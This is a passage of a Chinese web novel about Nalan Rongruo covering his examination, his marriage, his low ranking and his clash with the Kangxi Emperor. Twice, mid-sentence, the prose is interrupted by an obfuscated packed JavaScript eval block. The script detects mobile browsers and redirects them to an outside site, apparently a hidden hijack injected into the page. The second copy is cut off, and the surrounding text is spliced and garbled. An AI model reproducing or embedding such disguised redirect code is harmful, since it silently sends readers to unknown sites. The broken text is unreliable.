再看康熙皇帝,手腕间戴着那串十四瓣的金刚菩提子手串,正襟危坐,正视着台下的每一位考生,俨然似一座雕像。 考试结束后,由康熙皇帝亲自施发号令,考生们按照规矩依次走出考场。 容若步履轻快地离场,并不在意康熙皇帝是否在看自己的背影。 此刻,容若唯一想做的事情,就是去“花鸟风月楼”找好友张纯修饮乐畅谈,好将那酣畅淋漓的心情挥斥。 待所有的考卷都回收完毕,大学士在康熙皇帝面前道: “启禀皇上,答卷皆已现场检取无误。过后,按照流程,答卷一律密封装订,先由阅卷官阅读每一份策论,再交给首席读卷官核查名列前茅者的卷宗。” “期间阅卷官可以参与议论或提出异议。接下来,考官们共同选出得圈多的卷子称为‘金榜佳作’,拟定前十名的卷子上呈御前,由皇上您来定夺最终名次。” “朕知道了。”康熙皇帝点头,“你等仔细判阅就是。” 说罢,这位天子就在司礼大太监的“皇上起驾——”声中,离开了考场。 * 考完后的几天里,容若自我感觉良好。 跟卢氏一起去郊外赏了春花,看她天真烂漫地手执团扇扑蝶,心因她而动,唇因她而笑。 “尔谖,春光与美人同好,我心中欢喜。” 隔扇纱,眸秋水;坠流苏,指青葱。卢氏楚楚动人。 依旧是,三月天;也堪说,流云匆。自成销魂谁衬? “我一人而动,公子一人而立,可是在酝酿词歌?” “是啊。”容若走近她,“我打算为你写词,词由心生,此刻恰好有。” 《行香子·春日》 薄扇风轻,翠叶蝶惊。碧空清,旷野望平。倏忽瞧鉴,点点入睛。但愿月夜,庭阶下,观流萤。 依依相行,执佩为凭。正今年、香袖云鬓。许得一愿,双双比邻。但见路长,近腮香,远岱青。 卢氏看罢容若的新词,双眸微微湿润。 “公子第一次为我写词,我高兴的……不知道该说什么好了。” 容若笑道:“那也无妨,你握着笔墨小笺,温着感情,但行前路,一路听我说就好。” “嗯。”卢氏含笑点头,“我愿意。” “尔谖,在我没有功名的这段日子里,幸好是有你陪着。你的性子既温婉又玲珑,时而做些令我感动的事,时而又使得我心存疑忿,但是我喜欢你那颗‘为了容若’的心,我会稳稳地接住。” “我的人生多在礼教、求学、伴君中度过,不能说自己懂得情为何物,所以我不太会对你说小情话,只会用诗词或是温眸来弥补。我晓得你像大多数女子一样,盼着蜜语,就请你理解我、给我时间可好?” “还有,尔谖你不必惧怕我阿玛,循规蹈矩这四个字,莫说是你,连着我和整个明府上下都在小心翼翼地践行,就是为了维护纳兰家的风范和门面。出了错或是叛了逆,也是不要紧的,因为你身后有我,只要不是原则性问题,我都会护着你。” 站立在迎风的登高处,容若与卢氏一同极目远眺。 远方,是一派由棕转绿的翠色夺目的青山、一堆由浓转淡的好似笔抹的云彩、一方无穷尽的褐色疆土,和一群渐行渐远的飞鸟。 容若心情畅快,道:“人在高处,心亦在高处。此番胸怀,可比泰山,可近日月!” 卢氏深信不疑,期待道:“公子这次的成绩,必定高居榜首,为满族出身的学子也为明府争光。” “我近来会想自己入翰林院之后的事情:文职当投身浩瀚经典,以史为镜,细读细悟,方不负一身才气;文差当掷笔乾坤,遣词酌句,作出好文章来留名青史;为臣当自知分寸,为君所用,为国所需,经写经战,才是真正的栋梁之才。” “公子的抱负得以施展,尔谖自当做好贤内助,让公子得赌书泼茶之好。” “这便是最好的日常。”容若心生暖意,“夫妻之间,是该共得彼此相投的乐趣。” “找书、寻页、论书,最是让时光快过。”卢氏仿佛置身穴砚斋之中,“过后,尔谖还想跟公子一起将书放归原位,再添一份‘墨有余香’的乐趣。” “好,那我可不让着你。”容若兴致上来,“置归书籍,比的是谁记忆好,而是谁跟书结缘深。” “结缘?尔谖……不懂。” “好书值得反复读,书页褶皱、泛黄、染渍,便是读书人和书籍之间的缘分。你说书籍是从哪里来的?书商处吗?不是。先贤著立的?不是。书之所以为书,是因为有人去翻动它和让它归位,归它已经满载阅卷者心情之位。” “尔谖希望在日后,自己能够在捧读公子的《饮水词》和《侧帽集》之后,再怀着一份缘和一份情,将词歌放回属于自己和公子所共拥的位置上。” “夫妻同心?” “不但同心,而且尔谖愿与公子互通心意。” 容若与卢氏一起骑马缓缓行。 路上,春和景明,草长莺飞,明媚天气映归人。 容若记起,女子都爱夫君所赠的礼物,尔谖也不例外,便在心里寻思着送她一串手链。 “相思许红豆,根芽起萍絮。尔谖,我想与你同去明府名下的细工馆,为你挑一串精好的嵌有红豆的手链,改到合适你的手腕的长度来送给你。” 卢氏从容若的措辞之中就听出来,“与她同去”跟“带她同去”是不同,可见自己是真的被容若放在了心上,令他心甘情愿:红豆寄温情,珠玉连真心。 “平时你要是想要首饰,自是不必叫人去外头买,明府也不兴叫人送货上门供挑的那一套,免得被廉吏抓住把柄。你来跟我说,想我陪着也好,亦或是自己去、跟额娘跟袖云一同去也罢,直往细工馆就是。” “尔谖不缺实际的珠钗花饰,心中唯独爱听公子的看法,公子对饰品的选取和应对之语,胜过一切。” “当真?” “当真。如《纳兰词》一般,字字句句皆真。” * 卢氏第一次进入明府所有的细工馆时,被里面的装潢格调和品味陈设所折服。 她爱自己的夫君,珍惜着他为她挑选好物的时光。 比起华贵的金银,她看见的更多是琉璃制品和精雕美玉,细想原因:应是夫君“心有明镜台,物华气质生”的缘故。 另有一些石器和扇品,观感皆是:静而美,美而传神,传神而触情,触情而向往之,想要择一而归。她思忖着:夫君观石摆石却从不击石、品扇题扇却从不玩扇,都是在遵循一个“雅”字。 置身馆中,物雅人雅,处处显雅。 这就是“物”与“志”的诠释,这一方天地,与其说是属于明珠,还不如说是为容若量身定制,无懈可击,无瑕可挑。 卢氏坐在容若身侧,看他一边挑选手链的珠子、一边说心中所想:“若说商隐之诗最明女子的‘孤寂’与‘想见’,那么商隐之友温庭筠就是最懂得写‘红豆’浓情之人,尔谖,你都温庭筠的词吗?” “读,且把其中两首藏记心中。”卢氏将数粒红豆放在掌心,“一句是:玲珑骰子安红豆,入骨相思知不知?另一句是:罗带惹香,犹系别时红豆。” “我觉得飞卿之词【注3】的意境真好!”容若凝神于妻子,“骰子点数随机即随缘,相思入骨即难出;衣带染香,原是故人红豆成串佩饰腰间。所幸你我,卿卿日日,情浅情深不需骰子上面的红点来占;以纽扣换罗带,相和相结不需腰间红豆来提醒思念。” “在公子看来,红豆可是戴在手上最好?” “我觉得——”容若朝妻子温笑,“是自己为你挑选红豆、串起红豆的过程最好。然后自己为你戴上这串手链,看你欢喜的模样,更是好上加好。” “公子真的很会为自己和为自己所爱的人付出一份好心情呢。”卢氏将红豆粒粒放回盘中,“公子手中的采撷物和牵思弦,在尔谖看来已经不是红豆和丝线,而是公子想给予尔谖的真心。” 容若放下手上的引线动作,单手环过卢氏的细腰,半搂她在怀。 品诗论句,彼此尚有红豆共的好天气,当将柔情延绵。 流光易抛,春风送词悦琴弦的恩爱情,当放万千俗事。 “归时飞絮满肩膀,待到清夜入梦,红豆藏枕头留香,我共夫人好眠。” 这是卢氏第一次从容若口中听见“夫人”二字,她不由得将头轻轻偎依在容若的胸前,闻得他身上的缕缕菩提禅香、听得他心中的声声有律跳动、悟得他华服之外所向往的寻常痴情。 * 明珠夫妇从纳兰家的祠堂出来,来到了正厅之前。 明珠背着双手,抬头仰望,替自己的儿子自豪:“夫人,等到放榜,本官就叫人把‘状元牌匾’在这上方高高悬挂,让宾客们都知道,我明珠的儿子纳兰容若,是当之无愧的大清第一人才!” 觉罗氏微笑道:“妾身倒是看在眼里,自打容若考完试,家里处处都亮堂了不少,只等着珠玉进一步生辉。” “养儿二十年。”明珠感慨,“不容易,不容易啊……” 走在渌水亭的长廊中,觉罗氏道:“想来索额图的次子格尔芬都成了皇上的二等侍卫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365826|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们的容若要是成了翰林院编修,岂非官阶在他之下?索额图可是笑话?” “人言明珠父子想要把持朝纲,我却是认得一个理儿:容若离开皇上,在翰林院的位置上与学问为伴,自在常乐就好。” “老爷如此开明,若是朝中再有人诟病,那就说不过去。妾身多问一句:皇上对容若,肯放手吗?还是会一直以此来牵制老爷?” “其实这官场上的事,没有对错。”明珠摇头,“是非全看皇上的心态,我明珠不是鳌拜和噶尔丹,皇上可以随时把我拉下位,皇上之所以留着我,是因为他动摇不了赫舍里一族的势力,需要我来制衡索额图。不等于皇上真的看重我、非我来肩负重任不可。” “那咱们儿子——”觉罗氏有所担忧。 “咱们儿子是个文武全才,皇上要是非要逆容若的心志来安排容若的官阶,那也不是咱们或是慈宁宫的老祖宗改变的了的。” “万一容若想不开——” “夫人,你这叫什么话?”明珠沉着地看着觉罗氏,“容若的命从来就不是他的自己的,他属于整个大清。所以我才从小就教导他谨小慎微地做个完人。” 觉罗氏想起了自己的禅修期间,从妙觉禅师口中听来的一句话:“人到了命数的极限,终究是要解脱的呀!” 她只当这句话是妙觉禅师说给众弟子听的,而非在暗示容若的一生。 明珠驻足道:“今日容若带了尔谖出门,我见他一身轻松,如冲出桎梏一般,多少也不想对他有所管束,就让他尽情地放飞自我吧!” “尔谖倒是懂事。”觉罗氏告诉明珠,“出门之前,她特意来向我询问容若的身体情况,怕自己在外对夫君照顾不周。她还交代小厨房提前备下了容若爱吃的芙蓉酥和红豆陈皮甜汤,怕容若走了一程远郊路、回家后胃口不好。” “作为我明珠的儿媳、明府的女人,她应当的。”明珠不同于觉罗氏的细腻,“我的儿子的正妻,理应拿出关心夫君和玲珑贤助的本事来。” * 夜间。 纳兰一家共进晚膳的时候,明珠出人意料地夸了儿媳一句:“你能多为容若考虑,阿玛自然是高兴。” 卢氏道:“是,尔谖记得自己的责任,日常也请阿玛和额娘多多教导。” 明珠在平静中带着几分作为家长的威严:“你只需记着一点:‘容若关乎天下,你关乎他这一生的感情评价’就好。” 在卢氏的回应声中,容若一愣。 ——阿玛这话,就跟是把我定型了一样。 ——活于天下之局,不累但是时常惶恐;经营一世情场,至深亦是至真。 “阿玛额娘。”容若开了口,“成家之后立业,儿之事业,朝堂沙场两能,不会辜负大清,也不会辜负纳兰家。” “儿啊,你金榜题名之日即将到来,额娘为你骄傲。”觉罗氏往容若碗中舀了一只五彩水晶素丸子,“这份骄傲并非来自你光耀门第,而是跟你阿玛一样,庆贺你这二十年来:学有所成,为自己争了一口气,达到了自己想要的现阶段的一个高度。” “儿喜欢这样的和家氛围,自己能够为父母所理解和支持,就是最大满足。” 容若把碗中佳肴对半分开,入口品尝。 “等到宣旨之伍来临家门,儿与阿玛额娘、妻室、两位弟弟、管家金叔等一同迎接,取的不是才高八斗的排场,而是名副其实的——纳兰氏一族的上下欢喜。足矣,足矣。” “是啊!”明珠朝容若点头。 “我明珠之子珠玉生辉,不因此为傲,不因人言而满,只当是自己辛苦栽培的结果,苍天让我明珠有当‘状元之父’的美誉。不像索额图,次子格尔芬当了个二等侍卫,心血来潮去打了一次胜仗,就里面两幅面孔:宫内爱子心切,宫外训子如狼,也不怕老辅臣索尼入梦谴责!” “阿玛。” “嗯?” “格尔芬去打仗,也不完全是为了报国或是跟索额图做对。”容若笑道,“他就是想让云辞格格见识见识:高官之子的必死决心和英勇肝胆。所以,阿玛不必往索党的筹谋方向去提防。” “那你说,索额图怎么还不叫格尔芬娶妻?” “啊?”容若装作吃饭的样子,“儿不知道。大抵是……索额图想让格尔芬娶爱新觉罗氏血脉的格格吧?” 明珠细嚼着口中美味,明白儿子的意思: 索额图本性不改,贪慕虚荣,一心攀亲皇室;格尔芬反而是深藏不露,他比生父要聪明许多也未可知。 * 晚上,饭后聊后。 容若携卢氏一同回房。 卢氏才近床榻,就闻见了新鲜红豆的清香味。 她用手抚过枕头,感知到了容若的心意,竟不知容若是什么时候交代家仆去准备这些的了。 唯独是一份感动油然而生、久久不散。 只爱他纤细敏感不失细微、惜己怜人。 “红豆生南国,尔谖在岭南度过了大半时光,却从未站在红豆树下:暗想少年郎,赋闲度流年。公子一直生活在京师,心往江南却为尔谖准备满载心意的南国之物,可是因为:红豆相思与卿随,南北同寄一春心?” “千颗万颗暗香来,已是双宿双飞时。”容若接住了夫人的上半阙诗句,“我对共枕红豆的意境心生向往,因为枕边人是你。” “尔谖,你嫁给我之后,责任就是做我的正妻。无须背负太多顾虑、无须担心自己消受不起我,记着:你的夫君纳兰容若,是个凡人。” 容若声线温和,言罢,牵起卢氏的手,来到书桌前,写下: 夜来枕红豆,笑漾灯花里。 云幕星堆月,风动榻上锦。 坐起情深处,侧近蛾眉影。 明日题名人,相与识局棋。 【注1】清殿试,答卷必写的开头和结尾之语。 【注2】施道渊的语言,见第92章。 【注3】飞卿之词:温庭筠字飞卿,花间派词人。 122.第122章 放榜当日。 容若起床后,走到窗边洗脸之时,看见明珠相送的、一直养在琉璃缸中的小金鱼无精打采,不似平时。 袖云进来,对容若说了预贺的好话,见容若神色有些复杂,就问他怎么了?容若只告诉她一个人,鱼跃龙门是吉兆,可是今日它们却反常,不知何故。 凑近细看,袖云才发现果然如此,只温言道:“也许游鱼为今日的喜事兴奋摆尾了一夜,才倦倦不动也未可知。” “别让阿玛和额娘看见。”容若叮嘱了一声,“你我知道就好。” “是,袖云会将琉璃缸挪位。” 一家人喜乐向上地吃完早膳,就有传使来报:“明珠大人,发喜榜的队伍正往贵府来,奴才恭喜公子、贺喜公子!” 明珠春风得意地叫人打赏了传使,道:“今日本官府上将迎好事,畅快!畅快啊!” * 发喜榜的队伍奏着欢快的音乐走近,在明珠的眼神的示意下,管家立刻亲自点燃了门口的鞭炮,阵阵噼里啪啦的的声响和红屑飞扬的好景过后,明珠率领全家踏出府外,就在正门口当街而立。 报喜官上前,对明珠大人和纳兰公子说了好一番恭喜之语后,朗声报出了名次: “纳兰容若,二甲第七名,赐进士出身!” 明珠神色一变,得意盎然的心情瞬间被打落了一半。 二甲第七名,这就是相当于:除了状元、榜眼、探花之后,容若只排在第二梯度的顺数第七位,总名次为举国第十。 “你可有报错?”明珠端着官威询问,“我儿才学过人,品行无挑,照着笔墨和评价来定名次,不该屈居二甲之末啊!” “明珠大人,小吏不敢揣测万岁爷的心思。”报喜官回应,“但是大学士们上呈圣阅的十分卷子之中,的的确确是把纳兰公子的卷子放在最上面、应居状元的位置的,岂料万岁爷只钦点了前十名当中的最末位啊!” 明珠恨恨道:“这叫本官颜面何在?” 报喜官深知明珠心情,只提醒道:“圣意如此啊……明珠大人,您万万不能多出不满之言,否则就是对万岁爷的大不敬。” 觉罗氏上前,问:“状元郎是谁啊?” 报喜官的神情,好似徘徊在不解与无奈之间,但行差事只为执行皇命。他宁愿夺魁的是明珠大人家的长公子,而不是口中的: “回夫人,新科状元是江南出身的彭定求,跟施道渊施道人预测的一模一样呢!” “这怎么能是彭定求?”明珠气的一跺脚,“那人名落孙山何止一次?之前他可是连殿试都不够格踏入门槛的,有什么资格跟我儿容若……” “老爷。”觉罗氏一拉明珠的衣袖,暗示他下面的话不可多说。 “明珠大人,小吏可是听见了了不得的风声,另一位名叫高祗虚的得道高人,预测彭定求的后人彭启丰……将会被继承康熙皇帝大统的下一位明君钦点为状元!” “简直是荒唐!!”明珠喘着气,“以后我大清的科考排位都让那些道士去预言得了。” “关于这回名次的一个真相,小吏有实情要告知明珠大人,就怕明珠大人您和纳兰公子听不得啊。” 明珠甚至没看容若的神情,也未理会容若的反应,只指着那报喜官:“说——” “大学士们在拿到皇上的钦点册榜之,一致认为彭定求不宜选为新科状元,第一是字迹潦草,第二是无值得称颂之事迹,第三是默默无名。可是万岁爷却说:‘朕不会以字取人,先贤朱熹和程颐的字也不见得好。朕赐彭定求为状元,任翰林院修撰。’ ” 明珠对此颇为不满,也只得忍着大怒,问:“可有听得皇上任命我儿容若为什么要职?” “不曾听得。”报喜官如实道,“万岁爷对另外九人都有所安排官位,唯独是对纳兰公子……” * 报喜官的话还未说完,明珠就被身后的声音吓了一跳。 原是容若忽然间没站稳,差点如风飘絮般的倒落,幸好有卢氏夫人扶着。 觉罗氏心疼地走过去,“儿子……” 容若体调忽崩,声线却透着坚韧和骨气:“我没什么要说的,往后一阵子,我谁也不见。皇上的话,也不必往我耳朵传。” 见纳兰容若往家里走,报喜官赶紧追了上去,手捧卷册道:“公子,这名次喜册您不能不接啊!” “替容若回了皇上,就说:纳兰抗旨,不怕死。” “公子您不能啊!”报喜官挡在容若面前,“您这一回绝万岁爷,丢的可不止是您一个人的性命,那可是纳兰氏一族的性命啊!” “第十名。”容若发出几声凄凉的笑,“纳兰性德,第十名……” “公子,不是的,”卢氏细细安慰,“即便皇上如此钦定,天下读书人也是不会认的。当之无愧的状元,不是彭定求。” “我纳兰性德就算不是前三甲,也不应该受二甲第七的屈辱啊!” 容若浑身发颤,只感觉心中积压着许多气,非是口中言语能够消忿。 卢氏轻抚夫君后背,“公子,尔谖知道榜已放、君无戏言,结果不可更改,但公子一定不要过于伤神伤心,身子是自己的,不要病从君处来。” “我之现状,不但名次居末,连翰林之位皇上都不肯给。” 容若垂眸,神色忧然,心中激愤: 这算什么?跟落榜有何分别? 我成了一个闲人,一个皇上连司职都不肯给的闲人……我给阿玛和额娘丢脸了,给纳兰家丢脸了,我对不住那些期待于我的友人们…… “公子,名次那都是给读书人们看的,”报喜官道,“但是才学和人品,却是长久以来的积累和修养,万岁爷夺不走、天下人也否认不了的。所以公子不必觉得惭愧,不必把错揽在自己身上。” “罢了,我累了。” 容若轻推开卢氏的手,独自往房间的方向走。 那背影,好似一根轻羽漂浮在镜面湖泊,缓缓位移,去往烟波迷离深处。 “正夫人,你可要替纳兰公子把喜册榜卷接了呀!” 说着,报喜官就把秀着金丝线、在日光下反射着光芒的双木轴卷递给了卢氏。 “请官爷为公子和阿玛好好说话,千万不要触怒龙颜。” 卢氏捧册在手,只觉得好似铸铁般沉重。 “这是自然,小吏会往好的方向去说,喜册送出去了,已是万幸。” “那纳兰府前就不耽误官爷你的差事了,请官爷回宫吧!” 卢氏鼻子一酸,反应过来:容若是第十名,相当于是今日最后一个接榜之人,报喜官已经没有下一趟任务可行了。 “正夫人,你要好生开导纳兰公子才是,小吏告辞。” “慢行。” 卢氏低头看着手中之物,当下情况,自然是不能请明珠拿主意,只得先往府里的藏书阁去,把喜册榜卷暂且搁置在穴砚斋。 她又在心里把家事和国事做了清晰的梳理,才去找觉罗氏一同前去探望容若的情况。 * “那些排在前位之人,有什么资格跟我儿相提并论!!” 明珠径直回房生起闷气来。 容若两次人生关键之路上的大考结果都不尽如意,纳兰家到底是遭了什么霉运?让容若受如此打击,让我明珠有苦难言,苍天不公,苍天不公啊…… 半晌,阵阵折腾和声声喧嚣过后,外头渐渐归于平静。 管家金叔和侧夫人颜袖云礼貌回绝了一波接一波的宾客,身心俱乏,唇干舌燥,终于得以歇下。 “这午膳,到底是备还是不备?”管家在厅堂里问,“咱们府上,谁还有心情吃饭啊?” “只备公子吃的素笋香菇豌豆饭和四季平安汤就好,先叫小厨房仔细温着,过后公子起了胃口再送过去。” “侧夫人,公子怕是吃不下。这事现在怕是不但传遍京华,也快传遍天下了。” “只今还算是平静。”袖云道,“康熙皇帝是天子,有一锤定音的至高权力。但照我看,公子也不会忍着,过后公子的人生会迎来什么风雨,也是难料啊!” “那老爷那边——” “老爷那边不必主动去问,等吩咐就是。” 午后。 觉罗氏和卢氏去往容若的书房,敲门数次,不见容若来开。 “额娘。”卢氏焦急万分,“这可怎么好?” “在外头等等。”觉罗氏强作镇定,“容若只是需要这一阵子来调适自己。” “莫不是有个人在他身边,陪着他说说话更好?” “我儿子我知道,不高兴和不甘心之时,都不愿给别人添扰,只会默默面对。” “我是他的妻子,不能由着他自品心事啊……” “尔谖,你未进纳兰家之前,容若不理会谁之时,袖云也不敢冒然敲门请见或是陪着说话。容若跟别的高门广厦的贵公子不一样,他的孤独,比银河天星更深邃;他的渴望,不在于得之为幸而在于失之自悲。不是常人能懂。” “是。尔谖听额娘的。”卢氏坐在外头的长廊栏轩上,“只在房间外守护公子,不会叫公子有所闪失的。” * 纳兰容若跌坐在椅子上,眼前之所见,都如同自添了春寒一般彻骨。 他不想把这一切称为“结果”。 他不相信自己的宿命如此,早知今日,还不如不让太皇太后开恩保留一个“补殿试”的机会。 原本还想着,自己高中之后,一家人喜气洋洋地相贺相乐,把盏通宵,邀月为友,聘风为客,言笑天明……现在倒好,阿玛有阿玛的脾气,谁也不敢去劝;额娘有额娘的想法,纳兰家的家事还得是她来把持着;尔谖和袖云,定是全副心思担忧着夫君,选择不扰,选择做守护者。 所悲成笑,所笑皆悲,生如浮云杳杳,浮云影乱已写少年心事。 思乐成愁,愁成缄默,坐如叶衬芙蓉,叶衬斑驳已入少年心扉。 要是沈宛陪在身边,容若一定会对她说: “宛卿,你知道那种感觉吗?满怀希望却又折翼摔落在地,像是一只孤零零的断翅飞鸟,这些年来的抱负和翰林梦,都被皇上的抉择削杀殆尽。我的自尊和我的学识不允许我接受这样的结果,谢客之举,就好比是对外承认了自己的无能一样。明眼人都知道:纳兰父子就是康熙皇帝的奴才!生死枯荣,皆系君意。” “我的心中不是难过,而是悲凉。难过可以调节然后振作,悲凉却是心死不可逆转。皇上对我还是心存戒备,他可以跟我谈帝王之志、听说我说臣子之策,却始终多疑。皇上不肯相信:纳兰父子跟索额图不一样,前者坐拥权力和财富,心却始终不会背叛皇权和祸乱大清;后者凭借家势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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礼部尚书打断道:“徐大人,你把气撒在新科状元身上,成何体统?” “要不是明府闭门谢客,本官真恨不得捆着那家伙到明府去谢罪!” 徐乾学把彭定求一拽,在态度丝毫不肯妥协。 “得了吧徐大人。”有人从外而入,“你不过是觉得自己少沾了贵公子的光,才在这里故作姿态、生惹是非。” “哎呀,这不是索大人吗?”徐乾学一惊,礼貌行了一礼,“下官是被结果给气的,如今翰林院进来九个资质远远不如一个纳兰性德的货色,下官真是替大清担忧啊!” 索额图“啧啧”两声,在徐乾学耳边小声冷漠道:“纳兰性德没被你害死算好!怎么样,闹完这一出,接下来你要整哪一出啊?” 听到这洞彻心思的话,徐乾学立刻闭了嘴。 索额图对众人道:“本官今日就是过来见识见识翰林院的情况,既然该走的授职仪式还没有走完,该对长官见行的礼数还没有行完,就就照着规矩来继续就是。至于徐乾学——” 索额图冷冷道:“有本官坐镇在这里,论他也不敢再跟你们九人过不去!” 于是,在索额图的把关下,新人们的入翰林仪式得以顺利进行。 唯独一点,彭定求给徐乾学敬茶之时,徐乾学未按照礼数饮用,而是把茶盏往茶几上一搁,神色厌烦地叫彭定求去谢另外的大学士。 事后,吏部尚书和礼部尚书一同到养心殿去给康熙皇帝回话。 康熙皇帝问了一句“有谁提及纳兰吗?”以后,不等那两个朝廷命官回禀,就扬手叫了他们告退。 顾总管谨慎询问:“万岁爷,纳兰公子的情况,可要奴才安排人去打听?” “不必。”康熙皇帝心中复杂,“朕敢作敢当,知道自己会遭他的恨。” “可万岁爷您也有苦衷啊!”顾总管理解。 “朕没有苦衷。”康熙皇帝站起,“朕只是一个自私的人罢了。” * 夜里。 满天星斗,坐落在济国寺后山的宋应星简居内,格外安静。 沈宛早已听闻容若未中状元之事,奈何也不好偷偷进入明府去见他,只得向着古刹为他祈求福报。 “师傅,不知道您有没有把纳兰公子广交汉人朋友、博学儒家典籍、修身齐家的种种看在眼里,大清国有他那样的才子,您还会以自身的剃发留辫为耻吗?还会想着跟满人为敌吗?您全心全意地把自己当作大清的子民不好吗?” “你这话前言不搭后语,是怎么了?”宋应星问,“纳兰性德的存在,跟我宋应星的心志有何关系?” “大抵是替他可惜。”沈宛单手托腮,看着桌面明烛,“明明才不输貌,品行端正,却虚负凌云万丈才,功名憾错。所以才会希望师傅您看在他的份上,不要再觉得大清的入主中原不是正统、满人子弟没有可造之材。” “御婵,我越发觉得你在牵强附会。”宋应星挑了挑原本不动的灯焰,“纳兰是纳兰,师傅是师傅,何须相互牵连而论?你,在想什么——” “师傅不是曾说,我是能够走进纳兰公子心中的女子吗?可还记得这句话?” “记得。” “我想他了,满心都是他,在书房不敢把自己的惆怅向谁透露的他。” “你的意思是,你已经喜欢上纳兰了?真心的?” “是。” 这是沈宛第一次向宋应星坦诚自己的情感。 她之所求,不是为了得到师傅避开一切利益关系的允许,也不是为了表露自己有多么义无反顾地去爱一个满人,而是想叫师傅和世俗都知道: 沈宛和纳兰性德,即便不能够名正言顺地在一起,也将青史留名。 123.第123章 却说在纳兰容若失意的这些日子里,有顾贞观主动上门求见。 明珠知道里面的厉害关系:顾贞观是“顺治朝科举舞弊案”中,被发配去宁古塔的文人吴兆骞之友,此番前来,定是表面上想要劝慰容若,内里却动了:利用容若对汉人的珍重之情来请他救友的心思。 所以明珠没同意顾贞观入府。 怎奈顾贞观竟然在外头苦苦相求,半晌不肯走。 惹得明珠亲自出来警告:“顾先生,你对我儿的心意我收下了。你不必多做久留,日后你要是跟我儿有缘,自会与容若当面结交,不必急于求一时的缘分。” 顾贞观感恸道:“顾某深爱容若公子之才,并非是个自私为己之人。” 明珠依旧逐客:“本官自有看法和判断,你先回去吧!” 见明珠态度果决,顾贞观也不敢硬碰硬,只得行礼告辞。 回去的路上,顾贞观越想越替纳兰容若惋惜: “读书人都盼着金榜题名时,才学与机遇真是全由天定。人之所恨是事与愿违,人之所伤却是才位相悖。唉!” * 康熙皇帝派了御前侍卫曹寅来“请”容若进宫。 容若没说什么,换了身能外出的私服就跟着去了。 明珠夫妇看在眼里,满心疑惑与不解,就怕儿子是身在魂不在,行动全是精神之所引,而非由自主。 随着曹寅来到皇宫的花园里,容若看见了在回廊里等候的玄烨。 玄烨心不在焉地看着石桌上面的一幅画,出自禹之鼎的手笔,是《山明水秀知春图》。 曹寅在容若耳边道:“那是刚刚禹画师当着皇上的面画的。” 容若赌气似的道:“皇上没叫禹画师画《春燕报喜青云图》算好。” * 玄烨叫了曹寅等人离场,只留总管大太监顾问行一人在身边伺候。 玄烨的口气带着挑衅:“纳兰,你接榜之后,不知道来朕面前谢恩吗?” “恩从何来?”容若觉得可笑,“皇上所定夺的结果,不过是对臣的刻意打压罢了。” “朕给你一个大清国的第十名,十全十美有什么不好?” 再次听到名次,容若心情恨然:“臣的才华不止第十名!” 玄烨一甩袖,不容置否道:“朕说你是,你就是。” 容若心寒,冲玄烨气愤道:“大清第一才子屈居汉人之下,皇上你甘心吗?你把脾气撒在臣身上,就真的让汉人文人们领情消火了吗?满人才子们的学识、气魄、骨气、信念,都让皇上此举给践踏殆尽了。” “你敢质疑朕?” “臣实话实说!” “朕就是要你来受满人才子们的质疑和唾骂,朕是皇上!” 纳兰指着玄烨:“你没资格当这个皇上。” 玄烨怒目一瞪:“放肆!” “死罪臣也要说。” “朕准你说!顾总管,叫人拿笔墨,把接下来纳兰性德说的每一个字都给朕记下——” “奴才……”顾问行左右为难。 “朕的话你敢不听?”玄烨神色强硬。 “臣不是标榜自己的才学天下无敌,而是不想天下才子笑话皇上。” “是,玄烨你是皇上,想怎么样就能怎么样,对待天下、对待臣子、对待嫔妃、对待百姓,全在你的一念之间。但是臣是一个人,一个有血有肉有知觉的人,不是皇上你想怎么拿捏就拿捏的人啊!” 记事官颤抖着双手,把纳兰的“实话”记录上案,然后呈递给康熙皇帝。 康熙皇帝看罢,先是不发一语,然后就迅速而猛力地把纸张撕的粉碎,扬洒在禹之鼎的画作上。 玄烨来到纳兰正对面,双目严肃地盯着这位“大清第一才子”看。 他似一条张爪之龙,冲纳兰威震道: “你别指望着从朕身边走开,走到德才配位之处去。朕曾想过把一整个翰林院都给你,现在却觉得:要让纳兰性德一辈子都入不了翰林院才好。” 容若傲骨铮铮,“皇上知道‘以死明志’这四个字吗?” 玄烨抽鼻一哼,出脚一踢旁侧的一盆花。 在花盆的破碎声中,对纳兰狠狠威胁: “你要是敢死,朕就让整个翰林院给你陪葬!再借了这个名义把翰林院废了,看看纳兰性德你是不是要当一个千古罪人。” 容若愕然。 等反应过来,知晓了康熙皇帝的本意和用意之后,仰天长笑了几声,对玄烨讽刺道:“皇上要做千古暴君,就要把千古罪人的恶名扣在臣头上?” 玄烨高傲如狼。 狠话也好,当真也罢,在他看来:江山由他主宰,臣子的人生也应由他主宰。 “你的命在朕手里,朕活多久,你就活多久。要想君明臣贤,你就要听命于朕、为朕所用。” “臣跟皇上之间的关系和立场,不是向来如此吗?还差一个功名来刺探人心?还差几句恶语来威逼就范?皇上多虑了!臣告退。” 容若扭头就走。 玄烨呆立在原地。 数阵春风吹过,吹落了桌面上的残屑,也吹乱了他的君心。 * 在花园的出口处,纳兰容若看见了快步向这边来的太皇太后。 孝庄由苏麻喇姑搀扶着,瞧着心情不太爽快,容若心想:老祖宗耳聪目明,定是已经知道方才发生过什么事了。 “容若参见太皇太后,请太皇太后安好。” “纳兰,我听曹寅说皇上叫了你去见,放心不下,就过来看看。” “多谢太皇太后记挂。” “不必多想,不必多说,我都知道。错不在你,你跟我去见皇上。” “恕容若不能从命。容若气乏,当下……无法再面对皇上。” “我知道这回是皇上不对,科举是关乎仕途的大事,皇上为了让你留在他身边,就由着性子来定夺你的名次,剥夺了你入翰林的机会。这对你不公平。” “请太皇太后恩准容若告退。” 千言万语,容若只给孝庄回了这一句。 “好吧,你回去歇着。我会好好教育皇上。” 孝庄给曹寅递了眼色,意思是叫曹寅好好送纳兰回家。 